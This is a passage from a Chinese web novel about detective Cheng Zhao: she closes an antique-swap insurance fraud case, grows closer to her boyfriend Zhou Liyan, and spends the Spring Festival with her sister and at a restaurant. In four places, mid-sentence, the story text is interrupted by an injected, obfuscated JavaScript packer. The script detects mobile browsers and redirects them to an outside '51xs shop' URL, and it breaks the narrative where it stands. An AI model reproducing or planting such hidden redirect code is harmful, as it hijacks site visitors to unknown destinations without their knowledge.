刘怡特意做了变装，打扮得很中性，程昭差点就看漏了。幸亏系统会自动记录相关线索，程昭看了关联信息，才找到对应的画面。 监控录像显示，宁升泰出差离开家没多久，刘怡就过来了。 但是从监控里面，看不出她拿走了什么东西，只看到她背着个大包。 确认了刘怡曾经在宁飞腾动手之前出现过，程昭又继续查看更早之前的录像。 宁升泰录口供的时候曾经说过，他在出差前两天，让他儿子到公寓。两人商量好了假装偷盗的计划，宁飞腾在他回家前一天动手，撬门锁，弄乱家里，带走一些财物，伪装成入户盗窃的样子。 程昭就把监控录像跳到宁升泰所说的时间，想看看几天前宁飞腾去公寓的情形，没想到居然有意外的发现。 在宁升泰、宁飞腾回公寓之前，刘怡就先到了公寓。刘怡在公寓那边呆了一段时间，然后才离开公寓。 程昭和周立言等人，分享了这个发现。 程昭：“宁升泰父子商量那天，还有宁升泰出差离开公寓那天，他的女朋友刘怡都去过公寓……宁升泰他们好像都没有提过，商量那天刘怡在场吧？” 周立言摇头：“没有，他们很可能不知道有第三个人在现场，我们等下就去问问。” 侯远山很惊讶：“难道真的好像程昭说的那样，青花瓷被人提前换了？” 虽然实验室报告还没有出来，但是监控录像的发现，足以证明刘怡十分可疑，可以带她回警局问话了。 ………… 不过抓人之前，他们先去找了宁升泰。 宁升泰看到他们又来问问题，有点疑惑。 周立言也没有多做解释，直接问道：“你们商量怎么假装偷走青花瓷的时候，屋子里面有其他人吗？” 宁升泰摇摇头：“当然没有了，这种事情，知道的人越少越好。” 程昭拿出一叠鉴证科提供的青花瓷照片，放到桌面上：“麻烦你再辨认一下，这个瓷器，是你丢失的那件吗？” 宁升泰皱眉，有点担心：“那个青花瓷有什么问题吗？为什么还要我辨认？” 之前审问的时候，警察有给他看过其中一张照片，他没有看出来有什么问题。 程昭把照片推过去：“你先别问，仔细看看。” 宁升泰有点疑惑，那起那几张瓷器照片，开始仔细查看。 看着看着，他的脸色越来越凝重，眉头越来越紧。 “不对，底部这个章不对……天啊，怎么会这样……” 宁升泰慌了，他之前都想好了，他打算卖掉这件古董去填补公款亏欠的金额，免得被公司告了，还不起钱要去坐牢。如果青花瓷出了问题，他问题就大了。 “警官，你们一定要帮我找回我的古董啊！” 周立言稍微安抚了宁升泰的情绪，然后和程昭一起离开了拘留室。 ………… 周立言和程昭出发，前往刘怡工作的地方。 到了装修公司，周立言和负责人交涉，表明了两人的身份和来意。 负责人十分惊讶，表示刘怡正在公司，然后帮忙带路。 刘怡看到他们一群人向她走来，脸上闪过一丝慌乱。 周立言表明了身份和来意：“……刘怡，我们正在调查一宗盗窃案，因为你曾经多次出现在现场，麻烦配合调查。” 刘怡虽然不太情愿，但是她更不想警察在公司久留，她点头说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14032881|143875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ：“好的，我和你们走。” 准备离开的时候，程昭留意到，桌面的一些宣传画册，其中有一本的封面是几个仿古瓷器工艺品。 程昭拿起画册，翻了几页，问负责人：“你们是不是有做过一些仿古的瓷器？有做青花瓷碗吗？” 负责人：“哦，你说那些仿制的工艺品吗？有啊，青花瓷的款式很受欢迎，我们找厂家做过两批。” 程昭：“可以给我们看一下吗？” 刘怡听到程昭和负责人的对话，脸色一下子就白了，看起来十分心虚。 负责人从库房拿了一个存货出来，程昭和周立言一看，发现和案件里面的瓷器一模一样。 周立言：“这个款式，你们是从哪里得到的？” 负责人：“我们在内部搞了一个征集活动，这些款式都是我们员工提供的。具体是谁，我需要打开电脑查一下。” 刘怡低头，抿了抿唇：“不用找了，是我提供的，我和你们回去警局说吧。” 事情出乎意料地顺利，程昭和周立言相视一笑。 然后他们带着刘怡回到警局。 ………… 他们回来的时候，刚好实验室那边也出了检测结果——这件瓷器确实是现代仿制品。 到了审讯室，刘怡很爽快地交待了案件的经过：“几天前，我做了炖汤，打算送去给宁升泰喝。我到了公寓，进了厨房，没多久宁升泰父子就回来了。我本来想要出去打招呼，但是我听到他们商量骗保的事，就没出声。 “宁升泰交待他儿子，让他在他出差回来的前一天，伪装成家里被盗，把财物和他最宝贝的古董一起带走。他儿子问他，为什么要这样做…… “宁升泰那个老东西居然说，我拿假信息，引诱他拿了很多钱去炒股，搞得他没钱了。他还和他儿子承诺，说事成之后，他就把我甩了，回去求他前妻复婚。 “他自己赌性大，不见好就收，又太贪心，投了太多钱，这些都不关我事啊。他比我大了十多岁，我和他在一起，都没有得到过什么好处，现在出问题，就把问题都推到我头上？还想把值钱的东西都转移走，然后把我甩了？ “我很生气，然后我想到了一个主意。既然他们想要古董被盗，我就让他们心想事成。我那个装修公司生产过同款的瓷器，外形颜色都十分相似，我拿了一个，和他保险柜的交换了。” 周立言：“那真的古董，你藏到哪里了？” 刘怡：“在我家里，和几个工艺品放在架子上了。警官，我就是想吓唬一下他，没打算拿出去卖的。” 周立言：“这些，你迟些和法院说吧。” ………… 有了刘怡的配合，真的古董很快找到了。 这个案件这下真的可以结案了，涉案的人员、物品都找到了。 虽然案件没有造成太多的损失，但是宁升泰等人都有违法违规的行为，具体怎么定罪，就交给检察院处理了。 宁升泰的公司，知道了他挪用公款的事，立刻对他进行了起诉，要求他还钱。 “古董迷案”事件告一段落。 53. 过年前 程昭他们这边的古董盗窃案完成之后，转过去帮乔良他们完成另一个盗窃案件。 那个案件，乔良他们其实已经查到很多东西了，很多关键线索都收集到了，只是那几个小偷的身份还没有确认。 程昭他们过来帮忙，乔良他们就把手上有的线索，都拿出来一一和他们分享。 因为程昭以往太会找重点线索了，所以乔良他们对程昭抱有很大的期待。 “来，施展你的第六感吧。”孙泽林苦笑，“赶紧让这个案件完结吧。” 程昭哭笑不得：“我的第六感也不是每次都灵的，我只能说我尽量。” 程昭有点担心系统不能触发收集，毕竟以前也试过，她只拿到卷宗资料，系统没触发。 不过这次是她多虑了，她看了一些收集上来的线索，就触发了事件收集。 从系统的显示内容可以得知，这个案件是一个单纯的盗窃案。涉案的其中两个小偷，居然还是程昭以前接触过的“熟人”——之前夜跑的时候，意外当场抓到的小偷。 乔良他们收集的线索里面，有一个街边的监控拍到的玻璃橱窗，上面反射了小偷的倒影。 因为倒影一闪而过，再加上画面不够清晰，乔良他们就看漏了，不过系统自动记录了这个信息。 程昭把录像移动到那个倒影出现的时刻，暂停，画面放大，然后让孙泽林用图像软件修复清晰度。 于是，新鲜热辣的小偷画像便出来了。 程昭顺势提出，她之前见过这两个小偷的事。 有了程昭的辨认，警方很迅速地锁定了嫌疑人，最后把涉案的几个人都逮捕归案。 ………… 程昭听周立言的建议，报了射击和防身术的课程。 在上射击课程的时候，程昭用了之前系统升级，100积分抽奖拿到的“运动效果加强（3小时）饮料”。 在特殊饮料的加持下，程昭上课学得很快，从一开始的脱靶，到经常正中靶心，进步十分神速，教练都以为自己遇到天赋型学生了。 不愧是系统出品的道具，果然十分神奇。 最近的几个收集完成的案件，给程昭新增了80积分，现在系统里面一共有480积分。 程昭又拿出100积分去抽卡，这次拿到的是“运动效果加强（2小时）饮料”、“运动效果加强（3小时）饮料”、“低级止血贴”。 虽然没有抽到特殊道具，但是强身和治疗道具也十分实用，程昭也很满足了。 后续上课或者练习，可以继续用强身道具，提高效率。 她也不奢望可以变成神枪手、女战士，但是至少不要在危急关头拖后腿。 ………… 冬天天气冷了，程昭和周立言去夜跑的时候，感觉夜风比白天的还要冷。 “哈啾。”程昭打了个喷嚏。 周立言微微皱眉，想脱掉自己的防风衣给程昭：“太冷了吗？你不如穿上我的衣服吧？” 程昭摇摇头，拒绝了：“你衣服给我，你就要感冒了。” 周立言想了一下，提议：“不如去我家？我家里有跑步机、哑铃之类的健身器材，我们不要跑江边了。” 程昭稍稍犹豫了一下，然后就接受了提议。 两人改变方向，跑去了周立言家里。 周立言的家在御景花园的别墅区，自带了一个小花园。就着昏黄的灯光，程昭看到小花园也种了不少的花。 别墅有三层，占地面积不算太大，不过这边也算是市区了，寸金寸土，独栋别墅肯定非常贵。 程昭一边参观一边感慨：“周队，你果然是个有钱人啊……” “私底下又叫我周队了？”周立言轻轻敲了一下程昭的脑袋。 “没办法，周队比较顺口嘛……”程昭挠挠头。 周立言带着程昭四处参观：“这个房子是我奶奶留给我的遗产之一，我小时候就住在这里了。” 房子看起来十分整洁，布置得很简洁，很符合周立言的性格。 装修偏向很温馨的奶油风，看起来已经不算很新了，似乎已经居住了一些年头。 门口进去是客厅，客厅、饭厅之间有个落地窗，可以看到外面的小花园。 健身房设置在一楼，旁边是客房、厨房、卫生间。 周立言的房间在二楼，二楼还有书房和次卧。 三楼也有两个房间，还有一个大阳台。 周立言：“因为我就一个人住，空间比较多，我就把一楼一个房间，改成健身房了。器材虽然不多，但是足够用了。现在天气冷，以后我们就在这边运动吧。” 因为屋子挡风，又开着暖气，程昭还没有运动，就感觉身体暖和起来了。 两人都脱掉了外套，稍微做了一下热身。然后周立言使用跑步机，程昭使用旁边的椭圆机，开始了日常运动。 两人都加大了档位做有氧训练，半个多小时后，他们渐渐开始流汗喘息。 屋子里面没有旁人，耳边听着男朋友的喘息声，程昭感觉自己心跳有点太快了，脸也在发热。 肯定是因为她加大了训练难度，绝对不是她在胡思乱想！ 程昭又继续坚持运动了一会，感觉有点累了，便放慢速度，停下来休息一下。人闲了下来，眼睛就忍不住看向周立言的方向。 没有厚重的衣服遮挡，周立言穿着轻薄的运动衣运动裤，健美的身材显露无遗。 周立言出了一些汗，衣服有点贴在身上，显露出手臂、胸肌和腹肌的线条。合身的裤子，在运动状态变得更贴身了。程昭从旁边看过去，可以清楚地看到周立言臀部挺翘的曲线。 真的是穿衣显瘦，脱衣有肉。 程昭在心里暗暗感叹，周立言脸又长得好看，连身材都这么好，太令人羡慕了。 “好看吗？” “好看啊。” 回答完，程昭才醒悟过来，她的偷看行为被人发现了，自己还傻乎乎地说出了心声。 她感觉脸上很热，忍不住用手捂住发红的脸颊。 周立言停下了跑步机，转过身来，看到程昭在害羞，他的脸上浮现出促狭的笑意：“这么容易就害羞吗？” 程昭有点恼羞成怒：“这是正常的生理反应……” 周立言走到程昭面前。 程昭还站在椭圆机上面，因为机器的高度，她可以平视周立言，但是随着他的靠近，她依然感觉到了体型的压迫感。 “站 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14044019|143875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 稳了，别扭到脚了。”周立言看程昭站在上面，还傻乎乎地想后退，有点担心她站不稳，干脆掐着她的腰把她抱了下来。 程昭突然被抱下来，吓了一跳，有点站不稳，软软地靠在周立言的怀里。 周立言本来想抱下来就放开的，但是这时也不想松手了，轻轻地环住程昭的腰。 程昭感觉四面八方都是周立言的气息，耳边隐约听到他的心跳声，感觉自己的脸更红了，而且还有点腿软。 “……身上出汗了。”程昭小声嘀咕，不过她也没有挣开周立言的怀抱。 “这是正常的生理反应。”周立言轻笑，一只手环着程昭的细腰，一只手轻轻轻抚她的背，“会讨厌吗？” 程昭仔细地感受了一下，周立言平时很爱干净，不吸烟不喝酒，即使运动出了一点汗，也没有闻到什么异味，靠近了只闻到木质的沐浴露味道。 她红着脸，小声说：“……别人的我会讨厌，你的好像还好。” 周立言也认真感受了一下程昭的气息，只感觉到清淡的甜香，他甚至有股冲动，想要贴在她的颈部动脉处，深吸几口她的味道。 周立言声音变得低哑：“我的感觉也一样，我讨厌其他人的味道，但是你的我很喜欢。” 周立言轻轻吻过程昭的头顶，然后继续轻轻啄吻她的额头、眼睛、脸颊、耳朵……最后吻上了她的唇。 程昭感觉自己被周立言包围了。 耳边是周立言的啄吻声、呼吸声，鼻间的空气都是他的味道。他温润的唇、略带茧子的手，在四处点火，带来了一阵阵的酥麻感，撩动她的心绪。 程昭感觉自己好像被融化了，脑海深处燃放起了烟花。她闭上了双眼，默许他继续四处纵火。 不知道过多久，等她回过神来，她已经被周立言抱着到了客厅。 周立言坐在客厅的沙发上，她侧坐在他的腿上。两人依靠着，慢慢平复心跳。 程昭感觉有点热，挪动了两下，想要站起身。 周立言轻轻制止了她，用喑哑的声音说：“别动。” 程昭感觉到了周立言制止她的原因，立刻僵住，感觉更加难为情了。 不过幸好，周立言没有为难她太久，缓了一下就把她抱起，放到旁边沙发。 周立言转移话题：“过年的时候，有什么计划吗？” 程昭想了想，摇摇头：“今年应该也是和我妹妹在市里过年，老家的亲戚已经很疏远了，以往也没有怎么联系，就不特地过去拜年了。” 周立言建议：“那我们找两天出去约会？要不要去一个短途的旅游？” 程昭有点犹豫：“出去旅游……不就要丢下我妹一个人在家吗……好像有点不太好。” 周立言：“你把她也带上也可以的。” 程昭想起程露之前对周立言的印象，忍不住笑了：“她还不知道我们正在交往呢，之前她还有点怕你，觉得你好严肃。” 周立言：“那就让她知道吧，迟早她都会知道的。” 程昭点头：“嗯，找天我和她说说吧，然后一起吃个饭。旅游的话，我要问问她意见才行。” 周立言：“好。不方便出去的话，我们就在市里找点节目，一起过年。” 54. 过年 关于怎么和妹妹说，她和周立言试着交往的事，程昭一直没想好怎么开口。 青春期的少女心思敏感，她很担心程露知道了之后会接受不了，以为程昭要丢下她不管。 纠结了两天，程昭还是赶在年三十之前和程露坦白了。 年二十九那天晚上吃饭，程昭尽量用平淡的语气说：“妹妹啊，和你说个事……我和周队正在交往……” 程露听到程昭的话很惊讶，吃饭的动作都慢了下来。 程昭有点愧疚：“对不起，我本来是想等你上了大学再考虑交往的事的……” 程露吓得倒吸了一口气，放下了筷子。 她是很惊讶姐姐和周警官交往没错，但是她更惊讶姐姐居然曾经打算等她上大学之后再考虑恋爱的事。 她看向程昭，郑重地说：“姐，你千万有这样的顾虑。你的人生，如果为了我而作出牺牲，我会有很大压力的。” 程昭：“但是你不会担心，我会抛下你不管吗？” 程露反问：“你会吗？” 程昭摇头：“当然不会。” “这不就没问题了吗，”程露笑着说，“只是我这个电灯泡瓦数比较高，可能会影响你们。” 程昭摆摆手：“会被影响的，说明并不合适。” 程昭看到程露真的没介意，终于松了一口气。 “周立言问我们，过年的时候要不要出去吃个饭，或者一起去旅游。我们可以去周边的旅游区，来个短途的两日游。” 程露想了一下，然后说：“吃饭可以，旅游就算了，我春节也约了同学出去逛街。” 程昭：“那行，我和他说说，迟些一起吃个饭。” ………… 年三十，程昭他们开始放假。 程昭和程露特地起了个大早，避开高峰期行花街，买了春联、转运风车之类的东西回家。 程露之前就把家里收拾得干干净净了，所以不用再搞卫生。 姐妹两人把买来的新年装饰都一一布置好，连小橘的猫窝也贴上了春联。家里过年的气氛，一下子就变得浓郁了起来。 程昭还买了一些材料，炸了一堆蛋散、油角、笑口枣、小酥肉，还做了一些萝卜糕、千层糕。香飘四溢，附近的邻居都忍不住开窗看看，是谁家煮东西这么香。 程露表示这是一个甜蜜的负担。 蛋散酥脆，笑口枣外脆里软，小酥肉咸香可口，萝卜糕千层糕入口即化……好吃是好吃，但是太多了，短短几日根本吃不完。 程昭：“没关系，我们拿点到处送人吧，邻居平时都很关照我们，礼尚往来嘛。” 程昭给相熟的邻居、住得比较近的住户、关系比较好的物业工作人员，都送了一点自制的糕点。 住楼上的王冬梅阿姨，也收到了程家自制的过年糕点。因为王阿姨是程父的旧同事，平日也比较关照程家姐妹，所以程昭还特意送了最大分量的一份。 得到程家过年糕点的邻居都十分高兴，打算新年看到程家姐妹就给她们发红包。 程昭还留了两份，一份让程露送给好朋友张雯雯，一份送给周立言。 张雯雯收到糕点十分高兴，还回赠了程露一份她们家的红豆糕。 周立言收到糕点也很高兴，回赠了两盆兰花。 周立言和程昭说了他的过年行程：“年夜饭、初一、初二我可能都要待在我父母家里，这几天亲戚来往的比较多，走不开。等方便了我就回来找你。” 程昭表示理解，过年嘛，肯定是要走亲戚的，只是她们家没有亲戚在A市，才会比较冷清。 年夜饭虽然程家人不多，但是程昭依旧大展厨艺，煮了很多个菜，吃不完就冻起来，反正年年有余嘛。 白切鸡、咕咾肉、油爆虾……吃得姐妹两人都吃撑了，喝了一点山楂酸梅汤帮助消化。 年初一，因为家里没有其他长辈，程昭就自己给程露发了个大红包。 “新年快乐，学业进步！”程昭递给程露一个大红包。 程露开心地收下了：“谢谢姐姐，恭喜发财，身体健康！” 虽然没有立刻打开红包，但是程露凭手感也能知道到这是一个大红包。今年的家里过年气息比去年的浓重了很多…… 去年的过年的时候，她们还没有出孝呢。当时她们还沉浸在父母意外死亡的悲痛里面，她感觉天都塌了，是姐姐首先振作了起来，努力工作和照顾她……几个月前，姐姐车祸的时候她都有点想不开了，幸好程昭从鬼门关回来了，现在日子也过得越来越好了。 程昭也没留意程露在想什么，她忙着手机回复同事朋友的祝福短信，还有玩群聊里面的红包游戏。 周立言也给程昭发了个大红包，程昭开心地收下了。 两姐妹没有其他事情做，便一起去看了贺岁片，吃了大餐。 回家的时候，在小区遇到相熟的邻居，他们也纷纷给两姐妹新年红包，分量不大，就是图个喜气，收到的人都十分开心。 程露有点惊讶：“好像以前都没有和这么多邻居这么熟呢。” 程昭想了想，然后说：“有一些是平时我做小零食做多了，互相赠送变得熟悉的。有一些是之前我夜跑，刚好帮忙抓到了小偷，然后认识的。” 程露若有所思：“这就是书上说的，得道者多助，失道者寡助吧。姐，你太厉害了！” 程昭挠挠头：“不至于，不至于。不过邻里和睦确实是很重要的。” ………… 周家。 周立言坐在不起眼的角落，偷偷刷手机。 女朋友和她妹妹去逛街了，还没有回复他的留言。他默默叹了一口气，手机锁屏，开始闭目养神。 太无聊了，好想快点离开，可惜暂时还不能。 …… 周家经营了一家A市数一数二的船务运输公司，很多大宗的进出口商品都是通过周氏运输到全球各地。 周氏船运由周立言的太爷爷白手起家，再到周立言爷爷那一辈发扬光大，现在掌舵人是周立言的父亲周青海，下一任掌舵人如无意外就是大儿子周立行。不过三儿子周立德很得宠，坊间谣传周青海有意在二人之间选择接班人。 二儿子周立言几乎是一个隐形的存在。 关系亲近的商业伙伴都隐隐约约听说过，周家老二的八字和家里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14056215|143875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人相克，自幼养在周家老太身边。成年后更是叛逆父母，去了当兵还是当警察。周家太太苏明珠很厌恶这个儿子，周氏公司的一切事务都与这个二儿子无关。 初一初二来的都是比较亲近的亲戚和关系比较重要的商业伙伴，所以周父勒令所有人都必须出席，包括周立言也要到场。 周母是不情愿他出席的，她一直很相信算命先生当年算出来的批命。 当年生产二胎的时候，她伤了身子，周立言的双胞胎妹妹也身体太弱夭折，周父还在当时有个很迷恋的情人想要登堂入室…… 周立言被周老太太带走之后，周母才感觉日子顺遂了不少，后来更是又怀上了龙凤胎，顺利生下了三儿子周立德和女儿周思雨，令周父放弃了把私生子带回家的打算。 但是她再不情愿，这种场合她也不会忤逆丈夫的意思，所以除了必须的礼节，她都只当周立言是空气。 周父的想法却是更复杂一点。 他曾经是挺喜欢这个二儿子的，因为他长得像他的父亲，当时颇受老一辈的喜爱。后来他父亲去世了，他接手了公司，周立言这张酷似父亲的脸，就不算太讨喜了。而且算命大师的话，他也有点担心是真的。所以周老太太要带走周立言的时候，他也顺水推舟地答应了。 周立言成年之后，他的学业成绩和外貌都很令周父满意，想着以后可以用来联姻。可惜周老太太去世的时候要求他，绝不干涉周立言的生活，还立了相关的遗嘱。周立言得到了周老太太的大部分遗产之后，更加不受家里人的控制。 周立言和家里疏远了这么多年，商业伙伴都隐隐知道了他们家的事。之前他曾经试过假借家宴的名义，让年轻人自己互相认识，但是周立言不太配合，值得联姻的几家也没有什么太大的意愿。 本来周父都放弃了，没想到之前闹得全市、甚至全国都沸沸扬扬的案件，周立言在里面大出风头，新闻会播出之后，有两家有钱的老总找他聊天，打听起了周立言的感情生活。 于是周父就想要借助过年的机会，把二儿子推销出去。 至于周立言的想法，他觉得不太重要。毕竟男人都是现实的，出了社会摸爬滚打了几年，知道了晋升艰难，如果有个年轻貌美的富家千金看中了自己，自己没有更好选择的时候，肯定也会非常乐意的。 初一初二都有不少客人来访，年长的在一边喝茶聊天，年轻的聚在一边玩乐。只要周立言躲在一边，也不理会那些和他搭讪的富家小姐。 周父看在眼里，气在心里，感觉这个儿子太不听话，被老人养废了。 ……… 周立言没有听到周父的心声，听到了也会嗤之以鼻。 他在角落里我行我素，对那些明里暗里搭话的富家小姐不假辞色，照旧打算用冷漠的态度削减别人对自己的兴趣。 这些人都是自小被奉承着长大的，一时的兴致不会让她们纡尊降贵太久。 周立言不会搬出他已经有女朋友这个事实来做挡箭牌，因为这样做的结果不可控。 周家有太多方法，去影响一个普通人的生活。 他需要等一个合适的时机，再公开他们的关系。 55. 饭店 周家的聚会一结束，周立言就找借口，连夜回家了。 关于周立言对家里疏远的态度，周家兄弟都是乐见其成的，周母也不想看到周立言多留在家中。周父本来想让几个儿子缓和一下关系，好让老二也为家里出力，可惜老大老三有自己的想法，周立言又不识趣，他有点感到失望。只有小妹周思雨对二哥和家里疏远的事，感到可惜。 周立言晚上回到家，就发信息，和程昭报备了行程。 周立言：好累，终于回家了。 程昭看到消息，想起周立言之前和她提过，他和家人的关系，有点理解他为什么会这样说，不禁有点心疼他。 程昭回复：这一趟回去，你还好吗？ 周立言：没什么，就是客套应付的场合，假面戴久了会累。 周立言：要视频吗？现在比较晚了，但是我想看看你。 程昭已经洗过澡了，身上穿着厚厚的珊瑚绒玩偶睡衣，坐在床头。她看了一下，身上和周围都没有什么不妥的地方，便向周立言发起了视频邀请。 视频很快连接了，手机上显示了周立言的样子。 程昭留意到，周立言穿着打扮得有点正式，连头发丝都透着精致，不过他的脸上写着疲惫，看起来丧丧的。 程昭：“我好像是第二次看到，你打扮得这么正式的样子。” 周立言回忆了一下，想起之前那次和程昭的偶遇，不由得笑了。 周立言轻叹：“又被你看到我狼狈的样子了。” 隔着网络，程昭比较放的开，她故意作出一副花痴状：“怎么会是狼狈呢？明明就很帅，简直就是做梦的素材。” 周立言轻笑，看着屏幕里面女朋友，感觉心里的烦郁消解了很多。 两人又聊了几句，程昭忍不住打了个哈欠。 时间不早，周立言看到程昭有点犯困，准备道别的时候，他想起了吃饭的事。 周立言：“明天你们有空吗？明天我去你家拜访，然后一起吃个饭？” 程昭：“应该可以，我们明天还没有什么计划。” 周立言：“嗯，那我明天过来找你，时间不早了，你去睡吧，我也去洗澡睡觉了。” 程昭揉了揉眼睛：“好，晚安，明天见。” ………… 第二天十点左右，程昭收到周立言的信息。 周立言：起床了没？我等下准备过来了。 程昭回复：都起了，你到时候直接上来吧。 周立言：好。 …… 程昭在昨晚睡觉之前，就和程露说了今天周立言准备上门拜访。 程露对周立言的印象，还停留在几个月前，只记得这是一个看起来很严肃很冷淡的刑警。 不过现在他和姐姐拍拖，她可要好好把关，一旦被她发现什么不好的地方，她就立刻和姐姐打小报告。 她甚至还准备了几道刁钻的数学题历史题，想找机会拿出来考验一下周立言，万一这个人太笨的话，她就劝姐姐慢慢观望一下。 …… 周立言之前就打听过程昭家人的喜好，然后提早买好了新年礼物。 程露在读高中，平时学习之余喜欢听歌画画，他就给程露买了新款的平板电脑、耳机，还有她喜欢的画手出的画册。这些东西平时学习、课余休闲都用得上。 小橘虽然只是只猫咪，但是也是家里的一份子。它喜欢吃多春鱼、鸡肉冻干，周立言就给小橘准备了零食、罐头、玩具。 程昭的新年礼物当然也买好了，因为程昭最近在加强训练，他便给程昭买了新手机、运动手表和一些运动装备。他还给自己买了同款的，可以当情侣装。 然后他还买了一些比较热门的零食。 …… 确定了程昭家里都已经起床了，周立言才提着事先准备好的礼物，开车到隔壁小区。 到了程昭家里，周立言送出了新年礼物，还给了程露过年的红包。 周立言的礼物，里面有一些价格比较贵，程昭她们有点不好意思收下，不过周立言早就准备好说辞了。 周立言一脸诚恳：“毕竟我第一次正式来，而且是新年，礼物不能太薄了。我还算有点钱，这些对于我来说并不贵。你们就安心收下吧。” 程昭她们收下礼物。 不过这些礼物确实是送得很用心，收到的人都觉得很高兴。小橘也很满意收到的礼物，被周立言投喂了几个小鱼干之后，还跳上了他的肩膀蹭他的脸。 虽然以前周立言有接触过程露，但是那时候是刑警和受害人家属的身份。 为了打开话题，周立言先关心了一下程露的学校生活，说有需要帮忙的地方都尽管开口。 程露便顺势丢出了之前准备的题目。不过她现在只是开个玩笑，打算周立言看一下题目就打圆场。 没想到周立言看了题目，思考了一下，然后很快就给出了解题思路…… 本来程昭还有点担心，见面的场面会不会有点尴尬。没想到周立言认真处理起人际关系，还挺令人舒适的。 程露本来对姐姐突然有了男朋友是有点抗拒的，但是那一丝丝的抗拒很快就被周立言大方得体的言行举止和贴心的礼物瓦解了。看到了周立言的表现，程露也有点认同姐姐这个对象了。 周立言问了程昭姐妹的意见，选了一家网上评价不错的饭店，提前在网上预约取号。 然后一行人出发前往饭店。 ………… 过年期间，A市的人流量少了很多，市中心一点也不堵车。 不过到了吃饭的地方，客流量依旧不少，幸好他们早上及时预约取号，不然到了地方，还需要在门口等排号。 进饭店的时候，还发生了一个小插曲：周立言找停车位的时候，快轮到他们的号了，于是程昭姐妹先去店里拿桌子。到了饭店的时候，服务员正在读她们拿到的号码。几个排号在后面的人，看到这个号码读了几遍还没有人来，就想让服务员把这个号码当成是他们的。不过程昭她们来得及时，服务员如蒙大赦，连忙带了她们进去。 服务员：“幸好你们及时来了，不然你们可能要等下一个桌子了。” 程昭不解：“为什么啊？预约取号的规则不是定好的吗？难道有人来胡搅蛮缠，你们就会破例？” 服务员解释道：“这几个人不太一样，我们老板欠过其中一个人的人情。那些人隔三岔五就来我们店，不按规矩排队，结账的时候经常要求打折，甚至是记账 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14074558|143875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。老板碍于情面，交待我们尽量满足他们的要求。” “这样啊……” 程昭她们到了座位坐下不久，便看到另一个服务员把刚刚那几个人领了进来，去了饭店的另一片区域。 过了一会，周立言也过来了。 三人看了一会菜单，讨论了一下，选了几个菜。 程昭有点想上厕所，程露也跟着一起去了。 …… 去厕所的路上，刚好路过了刚刚那群人的桌子，听到了那几个人好像在争执。 “……小英你又在吃什么飞醋，我和叶燕只是普通朋友。”一个扎着小辫子、左耳戴着耳钉的男人，拨开了旁边的红裙女人的手，生气地说。 红裙女人不依不饶：“你别当我是傻子，我们房间里面有那个女人留下的头发！我们认识的人里面，只有她染了红头发。” 辫子男看了一眼坐在对面的留着板寸头的男人，然后拉着红裙女说：“哎，说不定是平时聚会，不小心留在衣服上带进去的……好了，有什么话回家再吵，叶燕是阿平的女朋友，我要出轨也不会出到她身上。” 寸头男笑了，耸了耸肩：“英姐你太多疑了，如果叶燕和阿南出轨了，你觉得我会这么平静吗？” “就是就是，小英你别乱想了。等下叶燕来了，你可不要乱说话，不然大家都会很尴尬。”辫子男安抚红裙女，又和她承诺给她买东西。 红裙女虽然还是将信将疑，但是没有继续吵闹了。 程昭她们走过了这张桌子，到了洗手间发现要排队。 等了一会，有个红色头发的女人出来了，程昭让程露先去上厕所，她后面上。 红发女人阴沉着脸，洗手的时候对着镜子闭着眼睛深呼吸几次，调整好了表情，才一脸平静地离开了洗手间。 又有人出来了，程昭也接着去上了厕所。 程昭两人去完洗手间，回去的路上看到服务员正在和一个西装男说话，还指了一下辫子男那桌的方向。 服务员：“……老板，那几个人今天又来了。” 老板：“哦，他们几桌？点菜了吗？” 服务员：“C5那个桌子，好像已经点了。” 老板打开平板电脑，看了几眼，然后和服务员说：“嗯，可以了，你去忙吧。我四处看看。” 路过辫子男那桌，程昭不经意看了他们一眼，刚刚洗手间那个红发女也坐在他们这桌。 …… 饭店客人挺多，这家的菜是现做的，上菜比较慢。不过每桌都会先上一个小吃拼盘，免费的而且可以续加。 